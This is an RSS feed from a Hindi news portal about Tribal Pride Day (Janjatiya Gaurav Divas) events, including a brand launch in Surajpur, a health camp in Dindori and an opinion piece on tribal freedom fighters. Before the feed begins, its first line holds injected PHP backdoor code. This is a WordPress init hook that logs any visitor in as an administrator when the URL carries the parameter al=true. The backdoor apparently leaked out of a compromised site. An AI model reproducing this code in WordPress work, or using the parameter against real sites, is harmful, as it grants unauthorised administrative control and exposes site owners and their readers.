// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Tribal Pride Day – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 17 Nov 2025 14:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सूरजपुर : जनजातीय गौरव दिवस पर ‘सूरजधारा’ ब्रांड का शुभारंभ https://pratyushaashakinayikiran.com/?p=191980 Mon, 17 Nov 2025 14:40:00 +0000 https://pratyushaashakinayikiran.com/?p=191980 जिले में स्वयं सहायता समूहों के उत्पाद अब एक ही ब्रांड नाम से होंगे उपलब्ध

सूरजपुर ,

विगत दिवस दिनांक 15 नवम्बर को जनजातीय गौरव दिवस के अवसर पर जिले में राष्ट्रीय ग्रामीण आजीविका मिशन बिहान के तहत कार्यरत स्वयं सहायता समूहों द्वारा निर्मित उत्पादों के लिए एकीकृत ब्रांड “सूरजधारा” का शुभारंभ किया गया। इस ब्रांड का लोकार्पण कार्यक्रम के मुख्य अतिथि एवं जिले के प्रभारी मंत्री श्री दयाल दास बघेल द्वारा किया गया।

ब्रांड लॉन्च होने के साथ ही अब सूरजपुर जिले के विभिन्न विकासखंडों के स्वयं सहायता समूहों द्वारा तैयार सभी सामग्रियों का विक्रय “सूरजधारा” नाम से किया जाएगा। उत्पादों को समूहों द्वारा सूरजपुर सेफ फूड प्रोड्यूसर कंपनी को उपलब्ध कराया जाएगा, जहां उनका गुणवत्ता परीक्षण कर ब्रांड के नाम से पैकेजिंग की जाएगी।

स्थानीय स्तर पर समूहों द्वारा निर्मित सामग्रियों को स्थानीय नागरिकों तक पहुँचाने की यह पहल “वोकल फॉर लोकल” की भावना को सुदृढ़ करती है। इसके माध्यम से लोगों को रसायन रहित, जैविक विधि से उत्पादित खाद्य सामग्री उपलब्ध होंगी, साथ ही स्वयं सहायता समूहों की आय में भी वृद्धि होगी।

कार्यक्रम में कलेक्टर श्री एस. जयवर्धन, जिला पंचायत के मुख्य कार्यपालन अधिकारी श्री बिजेंद्र सिंह पाटले, राष्ट्रीय ग्रामीण आजीविका मिशन के प्रभारी अधिकारी विक्रम बहादुर, मुख्य कार्यपालन अधिकारी हरनारायण खोटेल, जनपद पंचायत परियोजना प्रबंधक माधुरी भंडारी, सी-मार्ट कर्मचारी, कैडर तथा बड़ी संख्या में गणमान्य नागरिक उपस्थित रहे।

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भगवान बिरसा मुंडा की 150वीं जयंती पर महासमुंद में जनजातीय गौरव दिवस का भव्य आयोजन https://pratyushaashakinayikiran.com/?p=191531 Sat, 15 Nov 2025 14:20:00 +0000 https://pratyushaashakinayikiran.com/?p=191531 प्रधानमंत्री मोदी  वर्चुअली जुड़े, विकास परियोजनाओं का किया लोकार्पण

रायपुर,

महासमुंद जिला पंचायत सभाकक्ष में भगवान बिरसा मुंडा की 150वीं जयंती पर जनजातीय गौरव दिवस पूरे उत्साह और सम्मान के साथ मनाया गया। प्रधानमंत्री नरेन्द्र मोदी नर्मदा ज़िले के डेडियापाड़ा से वर्चुअली शामिल हुए और दो बहुउद्देशीय केंद्रों का शुभारंभ एवं 13 छात्रावासों का शिलान्यास किया।

मंत्री गुरु खुशवंत साहेब ने किया कार्यक्रम का शुभारंभ
मुख्य अतिथि कौशल विकास, तकनीकी शिक्षा एवं रोजगार तथा अनुसूचित जाति विकास मंत्री गुरु खुशवंत साहेब ने छत्तीसगढ़ महतारी के तैलचित्र पर दीप प्रज्ज्वलित कर कार्यक्रम का शुभारंभ किया। कार्यक्रम में विधायक योगेश्वर राजू सिन्हा, विधायक संपत अग्रवाल, जिला पंचायत अध्यक्ष श्रीमती मोगरा पटेल, कलेक्टर विनय कुमार लंगेह सहित जनजातीय समाज के प्रमुख उपस्थित थे।

बिरसा मुंडा का संघर्ष आज भी प्रेरणा का स्रोत— मंत्री साहेब
अपने संबोधन में मंत्री गुरु खुशवंत साहेब ने कहा कि भगवान बिरसा मुंडा का जीवन त्याग, साहस और संकल्प का प्रतीक है। उन्होंने कहा कि बिरसा मुंडा ने जल, जंगल और जमीन की रक्षा के लिए अल्पायु में ही बड़ा आंदोलन खड़ा किया, जिसकी प्रेरणा आज भी जनजातीय समाज को दिशा देती है। उन्होंने प्रधानमंत्री द्वारा बिरसा मुंडा जयंती को जनजातीय गौरव दिवस के रूप में मनाने के निर्णय की सराहना की।

जनप्रतिनिधियों ने बिरसा मुंडा के योगदान को याद किया
महासमुंद विधायक योगेश्वर राजू सिन्हा ने कहा कि यह दिवस आदिवासी अस्मिता और गौरव का प्रतीक है। वहीं बसना विधायक संपत अग्रवाल ने कहा कि बिरसा मुंडा का संघर्ष सामाजिक, सांस्कृतिक और अस्तित्व की रक्षा का महाआंदोलन था और प्रधानमंत्री के नेतृत्व में जनजातीय समाज की उन्नति के लिए लगातार कार्य जारी हैं।

प्रतिभाशाली छात्र-छात्राओं और हितग्राहियों का सम्मान
कार्यक्रम में शिक्षा के क्षेत्र में उत्कृष्ट प्रदर्शन करने वाले छात्रों को मोमेंटो व प्रशस्ति पत्र प्रदान किए गए। साथ ही पीएम जनमन अंतर्गत 5 हितग्राहियों को पीएम आवास की चाबी सौंपी गई।महिला स्व सहायता समूहों को चक्रीय एवं सामुदायिक निवेश निधि के चेक तथा 5 हितग्राहियों को आयुष्मान कार्ड प्रदान कर सम्मानित किया गया। इसी तरह डेयरी फॉर्म स्थापना हेतु 2 लाभार्थियों को सहायता राशि एवंस्वतंत्रता संग्राम सेनानी एवं नक्सल प्रभावित परिवारों को मोमेंटो प्रदान कर सम्मानित किया गया।

जिले में जनजातीय विकास के व्यापक कार्य— कलेक्टर लंगेह
कलेक्टर विनय कुमार लंगेह ने बताया कि विशेष पिछड़ी जनजातियों के विकास हेतु पिछले एक वर्ष में—3025 आधार कार्ड, 1887 आयुष्मान कार्ड, 2102 बैंक खाते, 3099 राशन कार्ड और 1380 सामाजिक प्रास्थिति प्रमाण पत्र बनाए गए।

पीएम जनमन के तहत 678 आवास, 26 सड़कें, पेयजल, विद्युत और आंगनबाड़ी जैसी सुविधाएँ दी गईं। धरती आबा कार्यक्रम के तहत 308 गांवों में ग्रामीणों द्वारा विलेज एक्शन प्लान तैयार किया गया।

विभागीय स्टॉलों का निरीक्षण, समूहों के कार्यों की सराहना
कार्यक्रम से पूर्व मंत्री एवं विधायकगणों ने विभिन्न विभागों के स्टॉलों का निरीक्षण किया। स्व सहायता समूहों द्वारा बनाए गए उत्पादों की सराहना की गई तथा स्वास्थ्य विभाग के स्टॉल पर हितग्राहियों को आयुष्मान कार्ड वितरित किए गए।

 बड़ी संख्या में हुई जनभागीदारी
कार्यक्रम में सर्व आदिवासी समाज के प्रमुख, विभिन्न जनजातियों के प्रतिनिधि, जनप्रतिनिधि, अधिकारीगण, महिला स्व सहायता समूह की सदस्याएँ और स्कूली बच्चे बड़ी संख्या में उपस्थित रहे।

 

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जनजातीय गौरव दिवस: भारतीय स्वतंत्रता संग्राम के अनलिखे अध्यायों को नमन https://pratyushaashakinayikiran.com/?p=191385 Sat, 15 Nov 2025 03:41:00 +0000 https://pratyushaashakinayikiran.com/?p=191385 • कैलाश विजयवर्गीय

भोपाल

15 नवंबर को पूरा देश जनजातीय गौरव दिवस मना रहा है। मध्यप्रदेश, जहां देश की सबसे बड़ी जनजातीय आबादी निवास करती है, इस दिवस को और भी गौरवपूर्ण तरीके से मना रहा है। यह सिर्फ उत्सव मनाने का दिन नहीं, बल्कि उन अनगिनत आदिवासी नायकों के अदम्य साहस, बलिदान और संघर्ष को याद करने का अवसर है, जिन्हें स्वतंत्रता इतिहास में वह स्थान लंबे समय तक नहीं मिला जिसके वे अधिकारी थे।

बिरसा मुंडा: जिनका संघर्ष समय से आगे था

बिरसा मुंडा एक ऐसे जननायक थे, जिन्होंने भगत सिंह, चंद्रशेखर आज़ाद और गांधी जी से भी बहुत पहले अंग्रेजों के अत्याचारों के विरुद्ध संघर्ष का प्रारंभ किया। भारत में जब संगठित स्वतंत्रता आंदोलन की शुरुआत भी नहीं हुई थी, तब झारखंड के दूरस्थ इलाकों और जंगलों में—जहां संचार के साधन नगण्य थे—उन्होंने आदिवासियों को संगठित किया और अंग्रेजी शासन को खुली चुनौती दी।

आदिवासी समाज उन्हें ‘धरती आबा’ यानी धरती पिता की उपाधि से सम्मानित करता है। उन्होंने “अबुआ राज एते जाना, महारानी राज टुंडू जाना” का नारा देकर स्वराज की अवधारणा को जंगलों, घाटियों और गांवों तक पहुंचाया।

वर्ष 1900 में बिरसा मुंडा के नेतृत्व में आंदोलन के तेज फैलाव से घबराकर, तत्कालीन जिला मैजिस्ट्रेट ने पुलिस और सेना बुलवाई और डोंबिवाड़ी हिल पर हो रही सभा पर गोलीबारी करवा दी, जिसमें लगभग 400 लोग मारे गए। यह घटना 19 साल बाद हुए जलियांवाला बाग हत्याकांड के समान थी, परंतु इस घटना को इतिहास में वह स्थान नहीं दिया गया। बिरसा मुंडा को पकड़ने के बाद अंग्रेजों ने निर्णय लिया कि उन्हें बेड़ियों में जकड़कर अदालत ले जाया जाए ताकि आमजन को पता चले कि अंग्रेजों के विरुद्ध बगावत करने का क्या नतीजा होता है। परंतु यह दांव उल्टा पड़ गया—बिरसा को देखने के लिए रोड के दोनों ओर हजारों की संख्या में लोग जमा हो गए। उन्हें तीन माह तक सोलिटरी कन्फाइनमेंट में रखा गया और यह भी कहा जाता है कि उन्हें स्लोपॉयज़न दिया गया। अंततः मात्र 25 वर्ष की आयु में वो शहीद हो गए।

आदिवासी वीर: जिन्हें इतिहास ने कम याद किया

अंग्रेजों ने भारत में अपनी जड़ें मजबूत करते ही यहां की प्राकृतिक संपदा, विशेषकर वन संपदा के दोहन की राह पकड़ी। जो आदिवासियों के साथ संघर्ष का कारण बना। 1857 की क्रांति से लगभग 25 साल पहले,शहीद बुधु भगतने छोटा नागपुर क्षेत्र में अंग्रेजों के जल, जमीन और वनों पर कब्जे की नीति के विरुद्ध विद्रोह का बिगुल बजाया। इसे लकड़ा विद्रोह के नाम से जाना जाता है। वीर बुधु भगत का विद्रोह इतना तीव्र था कि ईस्ट इंडिया कंपनी ने उनके नाम पर उस समय 1000 रुपये का इनाम रखा था।

सिदू और कान्हू मुर्मूने वर्ष 1855–56 में संथाल विद्रोह / हूल आंदोलन का नेतृत्व किया। जून 1855 में भोगनाडीह में 400 गांवों के 50,000 संथालों की सभा हुई, जिसमें संथाल विद्रोह की शुरुआत हुई। इसका नारा था—“करो या मारो… अंग्रेजों हमारी माटी छोड़ो।” अंग्रेजों के आधुनिक हथियारों का सामना संथालों ने तीर-कमान से किया। कार्ल मार्क्स ने “ नोट्स ऑन इंडियन हिस्ट्री” में संथाल क्रांति को भारत की पहली जनक्रांति कहा।

मध्यप्रदेश के निमाड़ का नाम आते ही टांट्या मामा या टांट्या भील का स्मरण होता है। उन्हें निमाड़ का शेर कहा जाता हे वे लगभग पोने 7 फीट ऊंचे, तेजस्वी व्यक्तित्व वाले योद्धा थे। वे अंग्रेजों से लूटा धन और अनाज गरीबों तक पहुंचाते थे। उन्हें ‘भारत का रॉबिन हुड’ कहा जाता था। उनका आतंक अंग्रेजों की छावनियों तक फैला रहता था, जहां अतिरिक्त सुरक्षा इसलिए रहती थी कि “कहीं टांट्या न आ जाए।” अंततः अंग्रेजों ने छल से उन्हें पकड़ा, जबलपुर में फांसी दी और उनका शव पातालपानी क्षेत्र में लाकर रख दिया, ताकि आम लोगों को पता चले कि अंग्रेजों के खिलाफ विद्रोह करने का क्या नतीजा होता है। उनके पकड़े जाने की खबर अंतर्राष्ट्रीय अखबारों में, विशेषकर अमेरिका के न्यूयॉर्क टाइम्स समाचार पत्र में नवंबर 1889, में छापी। आप सोच सकते हे कि निमाड़/मालवा के छोटे से क्षेत्र में रहने वाले इस जननायक ने भारत में अंग्रेजों की कितनी नाक में दम कर रखी होगी कि उसके बारे में अंतर्राष्ट्रीय मीडिया बात कर रहा था।

इसी तरह राजा शंकर शाह और कुंवर रघुनाथ शाह भारत के पहले ऐसे रजवाड़े थे जिन्हें वर्ष 1857 की क्रांति को कुचलने की कड़ी में अंग्रेजों द्वारा तोप के मुंह से बांधकर उड़ाया गया। न्याय आयोग, जिसके सामने उन्हें पेश किया गया था, ने उनके सामने जान बचाने के लिए धर्मांतरण सहित कई विकल्प रखे, दोनों ने उन्हें मानने से इनकार कर दिया। इसके बाद उन्हें जबलपुर में “ब्लोइंग फ्रॉम ए गन” की सजा दी गई।

बड़वानी क्षेत्र के भीमा नायकभीलों के योद्धा थे, जिन्होंने वर्ष 1857 की क्रांति में अंग्रेजों के खिलाफ संघर्ष किया था। शहीद भीमा नायक का कार्य क्षेत्र बड़वानी रियासत से महाराष्ट्र के खानदेश तक फैला था। उन्हें आदिवासियों का पहला योद्धा माना जाता है, जिसे अंडमान के ‘काला पानी’ में फांसी दी गई। वर्ष 1857 के संग्राम के समय अंबापावनी युद्ध में भीमा नायक की महत्वपूर्ण भूमिका थी। कहा जाता है कि जब तात्या टोपे निमाड़ आए थे, तो उनकी भेंट भीमा नायक से हुई थी और भीमा नायक ने उन्हें नर्मदा पार करने में सहयोग दिया था।

प्रथम स्वतंत्रता संग्राम के दौरान अंग्रेजों को लोहे के चने चबवाने वाले पचमढ़ी के आदिवासी राजा भभूत सिंह नर्मदांचल के शिवाजी कहलाते थे। जंगलों में रहकर अंग्रेजों को तीन साल तक परेशान करने वाले राजा भभूत सिंह गोरिल्ला युद्ध के साथ-साथ मधुमक्खी के छत्ते से हमला करने में भी माहिर थे। उन्होंने स्वतंत्रता संग्राम के दौरान तात्या टोपे की मदद भी की थी। मढ़ई और पचमढ़ी के बीच घने जंगलों में आज भी भभूत सिंह के किले का द्वार और लोहारों की भट्टियां मौजूद हैं, जिससे पता चलता है कि वे न केवल किला बनाकर लड़ रहे थे, बल्कि बड़े पैमाने पर हथियार बनाने की क्षमता भी रखते थे।

आदिवासी संघर्ष: स्वतंत्रता की रीढ़

भारतीय इतिहास में आदिवासी समाज का योगदान अत्यंत महत्वपूर्ण है। चाहे कोल क्रांति हो, उलगुलान हो, संथाल क्रांति हो, महाराणा प्रताप के साथ देने वाले वीर आदिवासी योद्धा हों या सह्याद्री के घने जंगलों में छत्रपति शिवाजी महाराज को ताकत देने वाले आदिवासी भाई-बहन—हर युग में आदिवासी समाज स्वतंत्रता और आत्मसम्मान के संघर्ष का अग्रदूत रहा है। लेकिन स्वतंत्रता के बाद इन योगदानों को उचित मान्यता या जगह नहीं मिली, और अगर मिली भी तो वह किताबो की चंद लाइनो तक सीमित रही। कई बार इतिहास के महत्वपूर्ण अध्याय इसलिए दबा दिए गए ताकि एक ही पार्टी और परिवार को स्वतंत्रता संग्राम का श्रेय दिया जा सके।

आधुनिक भारत में सम्मान की पुनर्स्थापना

बीजेपी सरकार के दौर में “विकास भी, विरासत भी” के सिद्धांत को अपनाते हुए माननीय मोदी जी के नेतृत्व में जहां एक ओर आदिवासी जननायकों को इतिहास में उचित स्थान दिया जा रहा है, वहीं दूसरी ओर विभिन्न योजनाओ द्वारा विकास की मुख्यधारा से पीछे छूट गए आदिवासी भाई-बहनों को आगे लाने का प्रयास भी किया जा रहा है। नरेंद्र मोदी भारत के पहले ऐसे प्रधानमंत्री थे, जो बिरसा मुंडा की जन्मस्थली उलिहातू (झारखंड) गए। बीजेपी सरकार ने बिरसा मुंडा जयंती को जनजातीय गौरव दिवस घोषित किया। भारतीय जनता पार्टी ने महामहिम द्रौपदी मुर्मू को राष्ट्रपति चुनकर जनजातीय समुदाय के वास्तविक गौरव को स्थापित किया है।

मध्यप्रदेश: जननायकों को मिला उचित सम्मान

बीजेपी सरकार ने मध्यप्रदेश में भी जनजातीय नायकों के सम्मान की परंपरा को पुनर्स्थापित किया गया है। छिंदवाड़ा विश्वविद्यालय का नाम शंकर शाह के नाम पर रखा गया। भोपाल के रेलवे स्टेशन का नाम रानी कमलापति के नाम पर किया गया है, राजा भभूत सिंह को सम्मान देने के लिए पचमढ़ी वन्यजीव अभयारण्य का नामकरण उनके नाम पर और पातालपानी रेलवे स्टेशन का नाम टांटिया मामा के नाम करने की घोषणा हो चुकी है। राज्य सरकार आदिवासी जननायकों के सम्मान में सिंग्रामपुर (दमोह) और पचमढ़ी (नर्मदापुरम) में कैबिनेट की बैठक भी कर चुकी है।

ये सभी कदम इसलिए हैं ताकि आदिवासियों को उनके योगदान के अनुसार सम्मान मिल सके।

 

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स्वास्थ्य शिविर में 7170 जनजातीय बंधुओं का हुआ नि:शुल्क परीक्षण एवं उपचार https://pratyushaashakinayikiran.com/?p=190873 Wed, 12 Nov 2025 04:16:00 +0000 https://pratyushaashakinayikiran.com/?p=190873 जनजातीय गौरव दिवस
स्वास्थ्य शिविर में 7170 जनजातीय बंधुओं का हुआ नि:शुल्क परीक्षण एवं उपचार

दिव्यांग प्रमाण-पत्र और सहायक उपकरण किये वितरित

भोपाल

जनजातीय गौरव दिवस के अवसर पर, 1 नवम्बर से 15 नवम्बर तक चल रहे विशेष कार्यक्रमों की श्रृंखला में वृहद जनकल्याणकारी एवं मेगा स्वास्थ्य शिविर का आयोजन डिंडोरी जिले के बरगाँव, शहपुरा में किया गया। जिले की 364 पंचायतों से जनजातीय वर्ग के लोगो को शिविर स्थल तक लाया गया।

शिविर में 7170 जनजातीय भाई-बहनों ने स्वास्थ्य परीक्षण, परामर्श और निःशुल्क उपचार का लाभ प्राप्त किया। जनजाति वर्ग के 1734 हितग्राही की  सिकल सेल एनीमिया की जाँच, 986 की एक्स-रे, 1230 के नेत्र परीक्षण उपरांत 738 चश्मे वितरण, रक्त जांच, दंत परीक्षण एवं 2195 हितग्राहियों की आयुष जाँच जैसी अनेक चिकित्सा सुविधाएँ उपलब्ध कराई गईं। शिविर परिसर में विभिन्न विभागों के सेवा एवं सूचना शिविर भी लगाए गए, जिनमें महिला एवं बाल विकास, राष्ट्रीय ग्रामीण आजीविका मिशन, जनपद पंचायत, राजस्व, शिक्षा, खाद्य एवं नागरिक आपूर्ति विभाग सहित कई विभागों ने सहभागिता की। नागरिकों के लिए आधार अद्यतन, ई-केवाईसी, यूडीआईडी प्रमाण-पत्र, पेंशन संबंधी कार्य, पात्रता जाँच तथा विभिन्न योजनाओं के आवेदन जैसी सुविधाएँ भी एक ही स्थान पर प्रदान की गईं।

शिविर में दिव्यांगजन न्यायालय का आयोजन भी किया गया, जिसमें मौके पर ही 482 दिव्यांगजनो को 201 दिव्यांग प्रमाण-पत्र और 1856 सहायक उपकरण प्रदान किए गए। इसके लिए प्रशासन ने पिछले 15 दिवस से जनपद स्तर पर आयोजित दिव्यांग शिविर के माध्यम से दिव्यांगनों को चिह्नांकित किया एवं प्रमाण-पत्र एवं किट उपकरण आदि भी वितरण किए। दिव्यांग कोर्ट के माध्यम से दिव्यांगजन के क्लेम का निराकरण भी किया गया।

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राष्ट्रपति द्रौपदी मुर्मू 20 नवंबर को छत्तीसगढ़ दौरे पर, जनजातीय गौरव दिवस कार्यक्रम में होंगी शामिल https://pratyushaashakinayikiran.com/?p=190232 Sun, 09 Nov 2025 07:35:00 +0000 https://pratyushaashakinayikiran.com/?p=190232 रायपुर

राष्ट्रपति द्रौपदी मुर्मू का 20 नवंबर को छत्तीसगढ़ प्रवास का कार्यक्रम प्रस्तावित है. इस दौरान राष्ट्रपति अंबिकपुर के पीजी कॉलेज मैदान में आयोजित राज्य स्तरीय जनजातीय गौरव दिवस के कार्यक्रम में शामिल होंगी. उनके दौरे की तैयारियों को लेकर मंत्रालय (महानदी भवन) में 11 नवंबर को शाम 4 बजे मुख्य सचिव विकास शील की अध्यक्षता में बैठक होगी. बैठक में सभी प्रमुख मंत्रालय और विभागों के वरिष्ठ अधिकारियों सहित संबंधित जिलों के अधिकारी वीडियो कॉन्फ्रेंसिंग के माध्यम से शामिल होंगे.

उल्लेखनीय है कि राष्ट्रपति द्रौपदी मुर्मू अपने छत्तीसगढ़ प्रवास के दौरान सरगुजा के विभिन्न कार्यक्रमों में शामिल होंगी. मुख्यसचिव द्वारा राष्ट्रपति के निर्बाध और गरिमामय प्रवास के लिए सुरक्षा, यातायात, स्वच्छता, आवागमन और सांस्कृतिक कार्यक्रमों सहित आवश्यक व्यवस्थाओं की व्यापक समीक्षा की जाएगी. अधिकारियों को दायित्व निर्वहन के निर्देश दिए जाएंगे.

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छत्तीसगढ़ में शुरू हुआ जनजातीय गौरव दिवस, CM साय रहेंगे साइंस कॉलेज मैदान में अतिथि https://pratyushaashakinayikiran.com/?p=98619 Thu, 14 Nov 2024 17:25:00 +0000 https://pratyushaashakinayikiran.com/?p=98619 रायपुर.

राजधानी समेत प्रदेश के अन्य जिलों में जनजातीय गौरव दिवस का 2 दिवसीय आयोजन भी शुरू हो रहा है, जिसमें आदिवासी स्वतंत्रता संग्राम सेनानियों को सम्मानित किया जाएगा. सीएम साय आज बालोद जिले के दौरे पर रहेंगे. इसके बाद राजधानी लौटकर वे औद्योगिक विकास नीति 2024 का विमोचन और धान खरीदी का शुभारंभ करेंगे.

आज से छत्तीसगढ़ में जनजातीय गौरव दिवस का आयोजन शुरू हो गया है, जो आगामी दो दिनों तक चलेगा. राजधानी रायपुर स्थित साइंस कॉलेज मैदान में आयोजित इस कार्यक्रम का उद्घाटन भगवान बिरसा मुंडा की जयंती के अवसर पर किया जा रहा है. मुख्यमंत्री विष्णुदेव साय इस आयोजन में मुख्य अतिथि के रूप में शामिल होंगे. कार्यक्रम का उद्देश्य आदिवासी स्वतंत्रता संग्राम सेनानियों के योगदान और बलिदानों को सम्मानित करना है. बता दें, 15 नवंबर को बिहार से प्रधानमंत्री नरेंद्र मोदी इस समारोह का औपचारिक शुभारंभ करेंगे. कार्यक्रम का थीम “सामाजिक, आर्थिक विकास, आजीविका एवं उद्यमिता, कला संस्कृति एवं धरोहर, शिक्षा और कौशल विकास, स्वास्थ्य एवं जीवन शैली” रखा गया है. इस दौरान आदिवासी समाज के हितों के संरक्षण और संवर्धन पर विशेष ध्यान दिया जाएगा. कार्यक्रम में 400 से अधिक आदिवासी कलाकारों की भागीदारी होगी, जो सांस्कृतिक प्रस्तुतियों के जरिए अपनी कला का प्रदर्शन करेंगे. आज से छत्तीसगढ़ में चालू खरीफ विपणन वर्ष के लिए धान खरीदी की प्रक्रिया शुरू हो गई है. मुख्यमंत्री विष्णुदेव साय के निर्देश पर धान खरीदी के लिए सभी आवश्यक तैयारियां पूरी कर ली गई हैं. राज्य में कुल 2739 उपार्जन केन्द्रों के माध्यम से किसानों से समर्थन मूल्य पर धान खरीदी की जाएगी. यह प्रक्रिया 31 जनवरी 2025 तक जारी रहेगी. इस दौरान किसान उत्पादित धान को समर्थन मूल्य पर बेच सकेंगे.

दक्षिण विधानसभा उपचुनाव में मतदान प्रतिशत
दक्षिण विधानसभा उपचुनाव 2024 के लिए बुधवार को मतदान किया गया. शाम तक कुल 50.50 प्रतिशत मतदान हुआ है. पुरुष मतदाताओं ने बढ़चढ़ कर मतदान में हिस्सा लिया, जिनका मतदान प्रतिशत 51.42 प्रतिशत रहा. वहीं, महिला मतदाताओं ने 49.62 प्रतिशत मतदान किया. थर्ड जेंडर के मतदाताओं ने भी अपने मताधिकार का उपयोग करते हुए 13.46 प्रतिशत मतदान किया.

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छत्तीसगढ़-जशपुर में जनजातीय गौरव दिवस पर कल, सीएम साय और केंद्रीय मंत्री मनसुख मांडविया करेंगे पदयात्रा https://pratyushaashakinayikiran.com/?p=97453 Tue, 12 Nov 2024 13:25:00 +0000 https://pratyushaashakinayikiran.com/?p=97453 जशपुर.

छत्तीसगढ़ के जशपुर में 13 नवंबर को जनजातीय गौरव दिवस के मौके पर एक खास पदयात्रा का आयोजन किया जा रहा है। इस पदयात्रा का नेतृत्व छत्तीसगढ़ के मुख्यमंत्री विष्णुदेव साय और केंद्रीय मंत्री डॉ. मनसुख मांडविया करेंगे। यह आयोजन भगवान बिरसा मुंडा की जयंती के उपलक्ष्य में हो रहा है, जिसमें आदिवासी समुदाय के योगदान और उनकी समृद्ध सांस्कृतिक धरोहर को सम्मानित किया जाएगा।

इस पदयात्रा में 10,000 से अधिक मेरा युवा (MY) भारत के युवा स्वयंसेवक शामिल होंगे, जो आदिवासी संस्कृति, धरोहर और परंपराओं को बढ़ावा देंगे। पदयात्रा कोमोडो गांव से शुरू होकर रंजीत स्टेडियम तक 7 किलोमीटर की दूरी तय करेगी। यात्रा के दौरान मुख्यमंत्री विष्णुदेव साय की अगुवाई में आदिवासी कला, संगीत, और पारंपरिक नृत्य का प्रदर्शन होगा, जिसमें आदिवासी समुदाय की समृद्ध संस्कृति की झलक मिलेगी। इस पदयात्रा के दौरान कई सांस्कृतिक गतिविधियाँ आयोजित की जाएँगी, जिनमें आदिवासी नायकों की झांकियाँ, रंगोली, पारंपरिक पेंटिंग्स और लाइव कार्यशालाएं शामिल होंगी। इसके अलावा, आदिवासी भोजन का स्वाद चखने का अवसर भी मिलेगा, जो सेहत के लिए लाभकारी है। यह आयोजन आदिवासी धरोहर और संस्कृति के प्रति जागरूकता बढ़ाने का एक प्रयास है, और छत्तीसगढ़ राज्य के लिए गर्व का विषय है। मुख्यमंत्री विष्णुदेव साय ने युवाओं को इस आयोजन में शामिल होने और आदिवासी संस्कृति से जुड़ने का संदेश दिया है।

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